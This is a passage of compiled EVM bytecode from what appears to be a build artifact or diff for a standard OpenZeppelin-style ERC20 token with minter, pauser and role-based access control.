08383620003b660201b60201c565b80600460008282546200029d9190620009d9565b9250508190555080600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620002f59190620009d9565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200035c919062000944565b60405180910390a35050565b6200037a8282620003d360201b60201c565b5050565b6000620003ae836000018373ffffffffffffffffffffffffffffffffffffffff1660001b620004c460201b60201c565b905092915050565b620003ce8383836200053e60201b62000f5b1760201c565b505050565b620003e58282620005ae60201b60201c565b620004c057600160008084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000465620001b260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45b5050565b6000620004d883836200061860201b60201c565b6200053357826000018290806001815401808255809150506001900390600052602060002001600090919091909150558260000180549050836001016000848152602001908152602001600020819055506001905062000538565b600090505b92915050565b620005568383836200063b60201b62000fb31760201c565b620005666200064060201b60201c565b15620005a9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620005a09062000922565b60405180910390fd5b505050565b600080600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b600080836001016000848152602001908152602001600020541415905092915050565b505050565b6000600760009054906101000a900460ff16905090565b828054620006659062000c7c565b90600052602060002090601f016020900481019282620006895760008555620006d5565b82601f10620006a457805160ff1916838001178555620006d5565b82800160010185558215620006d5579182015b82811115620006d4578251825591602001919060010190620006b7565b5b509050620006e49190620006e8565b5090565b5b8082111562000703576000816000905550600101620006e9565b5090565b60006200071e620007188462000995565b62000961565b9050828152602081018484840111156200073757600080fd5b6200074484828562000c46565b509392505050565b600082601f8301126200075e57600080fd5b81516200077084826020860162000707565b91505092915050565b6000815190506200078a8162000d4c565b92915050565b600081519050620007a18162000d66565b92915050565b60008060008060808587031215620007be57600080fd5b600085015167ffffffffffffffff811115620007d957600080fd5b620007e7878288016200074c565b945050602085015167ffffffffffffffff8111156200080557600080fd5b62000813878288016200074c565b9350506040620008268782880162000790565b9250506060620008398782880162000779565b91505092959194509250565b600062000854601f83620009c8565b91507f45524332303a206d696e7420746f20746865207a65726f2061646472657373006000830152602082019050919050565b600062000896602a83620009c8565b91507f45524332305061757361626c653a20746f6b656e207472616e7366657220776860008301527f696c6520706175736564000000000000000000000000000000000000000000006020830152604082019050919050565b620008fa8162000c2f565b82525050565b600060208201905081810360008301526200091b8162000845565b9050919050565b600060208201905081810360008301526200093d8162000887565b9050919050565b60006020820190506200095b6000830184620008ef565b92915050565b6000604051905081810181811067ffffffffffffffff821117156200098b576200098a62000d10565b5b8060405250919050565b600067ffffffffffffffff821115620009b357620009b262000d10565b5b601f19601f8301169050602081019050919050565b600082825260208201905092915050565b6000620009e68262000c2f565b9150620009f38362000c2f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000a2b5762000a2a62000cb2565b5b828201905092915050565b6000808291508390505b600185111562000a885780860481111562000a605762000a5f62000cb2565b5b600185161562000a705780820291505b808102905062000a808562000d3f565b945062000a40565b94509492505050565b600062000a9e8262000c2f565b915062000aab8362000c2f565b925062000ada7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000ae2565b905092915050565b60008262000af4576001905062000bc7565b8162000b04576000905062000bc7565b816001811462000b1d576002811462000b285762000b5e565b600191505062000bc7565b60ff84111562000b3d5762000b3c62000cb2565b5b8360020a91508482111562000b575762000b5662000cb2565b5b5062000bc7565b5060208310610133831016604e8410600b841016171562000b985782820a90508381111562000b925762000b9162000cb2565b5b62000bc7565b62000ba7848484600162000a36565b9250905081840481111562000bc15762000bc062000cb2565b5b81810290505b9392505050565b600062000bdb8262000c2f565b915062000be88362000c2f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000c245762000c2362000cb2565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b60005b8381101562000c6657808201518184015260208101905062000c49565b8381111562000c76576000848401525b50505050565b6000600282049050600182168062000c9557607f821691505b6020821081141562000cac5762000cab62000ce1565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60008160011c9050919050565b62000d578162000c2f565b811462000d6357600080fd5b50565b62000d718162000c39565b811462000d7d57600080fd5b50565b6133358062000d906000396000f3fe608060405234801561001057600080fd5b50600436106101cf5760003560e01c80635c975abb11610104578063a217fddf116100a2578063d539139311610071578063d539139314610556578063d547741f14610574578063dd62ed3e14610590578063e63ab1e9146105c0576101cf565b8063a217fddf146104a8578063a457c2d7146104c6578063a9059cbb146104f6578063ca15c87314610526576101cf565b80638456cb59116100de5780638456cb59146104205780639010d07c1461042a57806391d148541461045a57806395d89b411461048a576101cf565b80635c975abb146103b657806370a08231146103d457806379cc679014610404576101cf565b80632ff2e9dc11610171578063395093511161014b57806339509351146103445780633f4ba83a1461037457806340c10f191461037e57806342966c681461039a576101cf565b80632ff2e9dc146102ec578063313ce5671461030a57806336568abe14610328576101cf565b806318160ddd116101ad57806318160ddd1461025257806323b872dd14610270578063248a9ca3146102a05780632f2ff15d146102d0576101cf565b806301ffc9a7146101d457806306fdde0314610204578063095ea7b314610222575b600080fd5b6101ee60048036038101906101e9919061244b565b6105de565b6040516101fb9190612d21565b60405180910390f35b61020c610658565b6040516102199190612d57565b60405180910390f35b61023c6004803603810190610237919061236e565b6106ea565b6040516102499190612d21565b60405180910390f35b61025a610708565b6040516102679190612fd9565b60405180910390f35b61028a6004803603810190610285919061231f565b610712565b6040516102979190612d21565b60405180910390f35b6102ba60048036038101906102b591906123aa565b61080a565b6040516102c79190612d3c565b60405180910390f35b6102ea60048036038101906102e591906123d3565b610829565b005b6102f461085d565b6040516103019190612fd9565b60405180910390f35b610312610863565b60405161031f9190612ff4565b60405180910390f35b610342600480360381019061033d91906123d3565b61087a565b005b61035e6004803603810190610359919061236e565b6108ae565b60405161036b9190612d21565b60405180910390f35b61037c61095a565b005b6103986004803603810190610393919061236e565b6109d4565b005b6103b460048036038101906103af9190612474565b610a52565b005b6103be610a66565b6040516103cb9190612d21565b60405180910390f35b6103ee60048036038101906103e991906122ba565b610a7d565b6040516103fb9190612fd9565b60405180910390f35b61041e6004803603810190610419919061236e565b610ac6565b005b610428610b41565b005b610444600480360381019061043f919061240f565b610bbb565b6040516104519190612d06565b60405180910390f35b610474600480360381019061046f91906123d3565b610bea565b6040516104819190612d21565b60405180910390f35b610492610c54565b60405161049f9190612d57565b60405180910390f35b6104b0610ce6565b6040516104bd9190612d3c565b60405180910390f35b6104e060048036038101906104db919061236e565b610ced565b6040516104ed9190612d21565b60405180910390f35b610510600480360381019061050b919061236e565b610dd8565b60405161051d9190612d21565b60405180910390f35b610540600480360381019061053b91906123aa565b610df6565b60405161054d9190612fd9565b60405180910390f35b61055e610e1a565b60405161056b9190612d3c565b60405180910390f35b61058e600480360381019061058991906123d3565b610e3e565b005b6105aa60048036038101906105a591906122e3565b610e72565b6040516105b79190612fd9565b60405180910390f35b6105c8610ef9565b6040516105d59190612d3c565b60405180910390f35b60007f5a05180f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480610651575061065082610fb8565b5b9050919050565b60606005805461066790613202565b80601f016020809104026020016040519081016040528092919081815260200182805461069390613202565b80156106e05780601f106106b5576101008083540402835291602001916106e0565b820191906000526020600020905b8154815290600101906020018083116106c357829003601f168201915b5050505050905090565b60006106fe6106f7611032565b848461103a565b6001905092915050565b6000600454905090565b600061071f848484611205565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061076a611032565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156107ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107e190612e79565b60405180910390fd5b6107fe856107f6611032565b85840361103a565b60019150509392505050565b6000806000838152602001908152602001600020600101549050919050565b610833828261147e565b6108588160016000858152602001908152602001600020610f2b90919063ffffffff16565b505050565b60085481565b6000600760019054906101000a900460ff16905090565b61088482826114a7565b6108a9816001600085815260200190815260200160002061152a90919063ffffffff16565b505050565b60006109506108bb611032565b8484600360006108c9611032565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461094b9190613036565b61103a565b6001905092915050565b61098b7f65d7a28e3265b37a6474929f336521b332c1681b933f6cb9f3376673440d862a610986611032565b610bea565b6109ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c190612df9565b60405180910390fd5b6109d261155a565b565b610a057f9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a6610a00611032565b610bea565b610a44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3b90612e99565b60405180910390fd5b610a4e82826115fc565b5050565b610a63610a5d611032565b82611751565b50565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000610ad983610ad4611032565b610e72565b905081811015610b1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1590612eb9565b60405180910390fd5b610b3283610b2a611032565b84840361103a565b610b3c8383611751565b505050565b610b727f65d7a28e3265b37a6474929f336521b332c1681b933f6cb9f3376673440d862a610b6d611032565b610bea565b610bb1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba890612f39565b60405180910390fd5b610bb961191e565b565b6000610be282600160008681526020019081526020016000206119c190919063ffffffff16565b905092915050565b600080600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b606060068054610c6390613202565b80601f0160208091040260200160405190810160405280929190818152602001828054610c8f90613202565b8015610cdc5780601f10610cb157610100808354040283529160200191610cdc565b820191906000526020600020905b815481529060010190602001808311610cbf57829003601f168201915b5050505050905090565b6000801b81565b60008060036000610cfc611032565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610db9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db090612f59565b60405180910390fd5b610dcd610dc4611032565b8585840361103a565b600191505092915050565b6000610dec610de5611032565b8484611205565b6001905092915050565b6000610e13600160008481526020019081526020016000206119db565b9050919050565b7f9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a681565b610e4882826119f0565b610e6d816001600085815260200190815260200160002061152a90919063ffffffff16565b505050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b7f65d7a28e3265b37a6474929f336521b332c1681b933f6cb9f3376673440d862a81565b610f278282611a19565b5050565b6000610f53836000018373ffffffffffffffffffffffffffffffffffffffff1660001b611af9565b905092915050565b610f66838383610fb3565b610f6e610a66565b15610fae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa590612fb9565b60405180910390fd5b505050565b505050565b60007f7965db0b000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916148061102b575061102a82611b69565b5b9050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a190612f19565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561111a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111190612e19565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111f89190612fd9565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611275576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126c90612ef9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156112e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112dc90612d99565b60405180910390fd5b6112f0838383611bd3565b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611377576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136e90612e39565b60405180910390fd5b818103600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461140c9190613036565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516114709190612fd9565b60405180910390a350505050565b6114878261080a565b61149881611493611032565b611be3565b6114a28383611a19565b505050565b6114af611032565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161461151c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151390612f79565b60405180910390fd5b6115268282611c80565b5050565b6000611552836000018373ffffffffffffffffffffffffffffffffffffffff1660001b611d61565b905092915050565b611562610a66565b6115a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159890612db9565b60405180910390fd5b6000600760006101000a81548160ff0219169083151502179055507f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa6115e5611032565b6040516115f29190612d06565b60405180910390a1565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561166c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161166390612f99565b60405180910390fd5b61167860008383611bd3565b806004600082825461168a9190613036565b9250508190555080600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546116e09190613036565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516117459190612fd9565b60405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156117c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117b890612ed9565b60405180910390fd5b6117cd82600083611bd3565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611854576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161184b90612dd9565b60405180910390fd5b818103600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008282546118ac91906130e6565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119119190612fd9565b60405180910390a3505050565b611926610a66565b15611966576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195d90612e59565b60405180910390fd5b6001600760006101000a81548160ff0219169083151502179055507f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a2586119aa611032565b6040516119b79190612d06565b60405180910390a1565b60006119d08360000183611ee7565b60001c905092915050565b60006119e982600001611f38565b9050919050565b6119f98261080a565b611a0a81611a05611032565b611be3565b611a148383611c80565b505050565b611a238282610bea565b611af557600160008084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611a9a611032565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45b5050565b6000611b058383611f49565b611b5e578260000182908060018154018082558091505060019003906000526020600020016000909190919091505582600001805490508360010160008481526020019081526020016000208190555060019050611b63565b600090505b92915050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b611bde838383610f5b565b505050565b611bed8282610bea565b611c7c57611c128173ffffffffffffffffffffffffffffffffffffffff166014611f6c565b611c208360001c6020611f6c565b604051602001611c31929190612ccc565b6040516020818303038152906040526040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c739190612d57565b60405180910390fd5b5050565b611c8a8282610bea565b15611d5d57600080600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611d02611032565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45b5050565b60008083600101600084815260200190815260200160002054905060008114611edb576000600182611d9391906130e6565b9050600060018660000180549050611dab91906130e6565b9050818114611e66576000866000018281548110611df2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200154905080876000018481548110611e3c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002001819055508387600101600083815260200190815260200160002081905550505b85600001805480611ea0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b600190038181906000526020600020016000905590558560010160008681526020019081526020016000206000905560019350505050611ee1565b60009150505b92915050565b6000826000018281548110611f25577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200154905092915050565b600081600001805490509050919050565b600080836001016000848152602001908152602001600020541415905092915050565b606060006002836002611f7f919061308c565b611f899190613036565b67ffffffffffffffff811115611fc8577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015611ffa5781602001600182028036833780820191505090505b5090507f300000000000000000000000000000000000000000000000000000000000000081600081518110612058577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053507f7800000000000000000000000000000000000000000000000000000000000000816001815181106120e2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535060006001846002612122919061308c565b61212c9190613036565b90505b6001811115612218577f3031323334353637383961626364656600000000000000000000000000000000600f861660108110612194577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b1a60f81b8282815181106121d1577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600485901c945080612211906131d8565b905061212f565b506000841461225c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161225390612d79565b60405180910390fd5b8091505092915050565b600081359050612275816132a3565b92915050565b60008135905061228a816132ba565b92915050565b60008135905061229f816132d1565b92915050565b6000813590506122b4816132e8565b92915050565b6000602082840312156122cc57600080fd5b60006122da84828501612266565b91505092915050565b600080604083850312156122f657600080fd5b600061230485828601612266565b925050602061231585828601612266565b9150509250929050565b60008060006060848603121561233457600080fd5b600061234286828701612266565b935050602061235386828701612266565b9250506040612364868287016122a5565b9150509250925092565b6000806040838503121561238157600080fd5b600061238f85828601612266565b92505060206123a0858286016122a5565b9150509250929050565b6000602082840312156123bc57600080fd5b60006123ca8482850161227b565b91505092915050565b600080604083850312156123e657600080fd5b60006123f48582860161227b565b925050602061240585828601612266565b9150509250929050565b6000806040838503121561242257600080fd5b60006124308582860161227b565b9250506020612441858286016122a5565b9150509250929050565b60006020828403121561245d57600080fd5b600061246b84828501612290565b91505092915050565b60006020828403121561248657600080fd5b6000612494848285016122a5565b91505092915050565b6124a68161311a565b82525050565b6124b58161312c565b82525050565b6124c481613138565b82525050565b60006124d58261300f565b6124df818561301a565b93506124ef8185602086016131a5565b6124f881613292565b840191505092915050565b600061250e8261300f565b612518818561302b565b93506125288185602086016131a5565b80840191505092915050565b600061254160208361301a565b91507f537472696e67733a20686578206c656e67746820696e73756666696369656e746000830152602082019050919050565b600061258160238361301a565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006125e760148361301a565b91507f5061757361626c653a206e6f74207061757365640000000000000000000000006000830152602082019050919050565b600061262760228361301a565b91507f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008301527f63650000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061268d60398361301a565b91507f45524332305072657365744d696e7465725061757365723a206d75737420686160008301527f76652070617573657220726f6c6520746f20756e7061757365000000000000006020830152604082019050919050565b60006126f360228361301a565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061275960268361301a565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006127bf60108361301a565b91507f5061757361626c653a20706175736564000000000000000000000000000000006000830152602082019050919050565b60006127ff60288361301a565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206160008301527f6c6c6f77616e63650000000000000000000000000000000000000000000000006020830152604082019050919050565b600061286560368361301a565b91507f45524332305072657365744d696e7465725061757365723a206d75737420686160008301527f7665206d696e74657220726f6c6520746f206d696e74000000000000000000006020830152604082019050919050565b60006128cb60248361301a565b91507f45524332303a206275726e20616d6f756e74206578636565647320616c6c6f7760008301527f616e6365000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061293160218361301a565b91507f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008301527f73000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061299760258361301a565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006129fd60248361301a565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612a6360378361301a565b91507f45524332305072657365744d696e7465725061757365723a206d75737420686160008301527f76652070617573657220726f6c6520746f2070617573650000000000000000006020830152604082019050919050565b6000612ac960178361302b565b91507f416363657373436f6e74726f6c3a206163636f756e74200000000000000000006000830152601782019050919050565b6000612b0960258361301a565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612b6f60118361302b565b91507f206973206d697373696e6720726f6c65200000000000000000000000000000006000830152601182019050919050565b6000612baf602f8361301a565b91507f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560008301527f20726f6c657320666f722073656c6600000000000000000000000000000000006020830152604082019050919050565b6000612c15601f8361301a565b91507f45524332303a206d696e7420746f20746865207a65726f2061646472657373006000830152602082019050919050565b6000612c55602a8361301a565b91507f45524332305061757361626c653a20746f6b656e207472616e7366657220776860008301527f696c6520706175736564000000000000000000000000000000000000000000006020830152604082019050919050565b612cb78161318e565b82525050565b612cc681613198565b82525050565b6000612cd782612abc565b9150612ce38285612503565b9150612cee82612b62565b9150612cfa8284612503565b91508190509392505050565b6000602082019050612d1b600083018461249d565b92915050565b6000602082019050612d3660008301846124ac565b92915050565b6000602082019050612d5160008301846124bb565b92915050565b60006020820190508181036000830152612d7181846124ca565b905092915050565b60006020820190508181036000830152612d9281612534565b9050919050565b60006020820190508181036000830152612db281612574565b9050919050565b60006020820190508181036000830152612dd2816125da565b9050919050565b60006020820190508181036000830152612df28161261a565b9050919050565b60006020820190508181036000830152612e1281612680565b9050919050565b60006020820190508181036000830152612e32816126e6565b9050919050565b60006020820190508181036000830152612e528161274c565b9050919050565b60006020820190508181036000830152612e72816127b2565b9050919050565b60006020820190508181036000830152612e92816127f2565b9050919050565b60006020820190508181036000830152612eb281612858565b9050919050565b60006020820190508181036000830152612ed2816128be565b9050919050565b60006020820190508181036000830152612ef281612924565b9050919050565b60006020820190508181036000830152612f128161298a565b9050919050565b60006020820190508181036000830152612f32816129f0565b9050919050565b60006020820190508181036000830152612f5281612a56565b9050919050565b60006020820190508181036000830152612f7281612afc565b9050919050565b60006020820190508181036000830152612f9281612ba2565b9050919050565b60006020820190508181036000830152612fb281612c08565b9050919050565b60006020820190508181036000830152612fd281612c48565b9050919050565b6000602082019050612fee6000830184612cae565b92915050565b60006020820190506130096000830184612cbd565b92915050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b60006130418261318e565b915061304c8361318e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561308157613080613234565b5b828201905092915050565b60006130978261318e565b91506130a28361318e565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156130db576130da613234565b5b828202905092915050565b60006130f18261318e565b91506130fc8361318e565b92508282101561310f5761310e613234565b5b828203905092915050565b60006131258261316e565b9050919050565b60008115159050919050565b6000819050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156131c35780820151818401526020810190506131a8565b838111156131d2576000848401525b50505050565b60006131e38261318e565b915060008214156131f7576131f6613234565b5b600182039050919050565b6000600282049050600182168061321a57607f821691505b6020821081141561322e5761322d613263565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b6132ac8161311a565b81146132b757600080fd5b50565b6132c381613138565b81146132ce57600080fd5b50565b6132da81613142565b81146132e557600080fd5b50565b6132f18161318e565b81146132fc57600080fd5b5056fea264697066735822122028cc51b8c647f25551724c9979545883db4e83098e6e14fff43d46d50268556f64736f6c63430008000033",
-  "deployedBytecode": "0x608060405234801561001057600080fd5b50600436106101cf5760003560e01c80635c975abb11610104578063a217fddf116100a2578063d539139311610071578063d539139314610556578063d547741f14610574578063dd62ed3e14610590578063e63ab1e9146105c0576101cf565b8063a217fddf146104a8578063a457c2d7146104c6578063a9059cbb146104f6578063ca15c87314610526576101cf565b80638456cb59116100de5780638456cb59146104205780639010d07c1461042a57806391d148541461045a57806395d89b411461048a576101cf565b80635c975abb146103b657806370a08231146103d457806379cc679014610404576101cf565b80632ff2e9dc11610171578063395093511161014b57806339509351146103445780633f4ba83a1461037457806340c10f191461037e57806342966c681461039a576101cf565b80632ff2e9dc146102ec578063313ce5671461030a57806336568abe14610328576101cf565b806318160ddd116101ad57806318160ddd1461025257806323b872dd14610270578063248a9ca3146102a05780632f2ff15d146102d0576101cf565b806301ffc9a7146101d457806306fdde0314610204578063095ea7b314610222575b600080fd5b6101ee60048036038101906101e9919061244b565b6105de565b6040516101fb9190612d21565b60405180910390f35b61020c610658565b6040516102199190612d57565b60405180910390f35b61023c6004803603810190610237919061236e565b6106ea565b6040516102499190612d21565b60405180910390f35b61025a610708565b6040516102679190612fd9565b60405180910390f35b61028a6004803603810190610285919061231f565b610712565b6040516102979190612d21565b60405180910390f35b6102ba60048036038101906102b591906123aa565b61080a565b6040516102c79190612d3c565b60405180910390f35b6102ea60048036038101906102e591906123d3565b610829565b005b6102f461085d565b6040516103019190612fd9565b60405180910390f35b610312610863565b60405161031f9190612ff4565b60405180910390f35b610342600480360381019061033d91906123d3565b61087a565b005b61035e6004803603810190610359919061236e565b6108ae565b60405161036b9190612d21565b60405180910390f35b61037c61095a565b005b6103986004803603810190610393919061236e565b6109d4565b005b6103b460048036038101906103af9190612474565b610a52565b005b6103be610a66565b6040516103cb9190612d21565b60405180910390f35b6103ee60048036038101906103e991906122ba565b610a7d565b6040516103fb9190612fd9565b60405180910390f35b61041e6004803603810190610419919061236e565b610ac6565b005b610428610b41565b005b610444600480360381019061043f919061240f565b610bbb565b6040516104519190612d06565b60405180910390f35b610474600480360381019061046f91906123d3565b610bea565b6040516104819190612d21565b60405180910390f35b610492610c54565b60405161049f9190612d57565b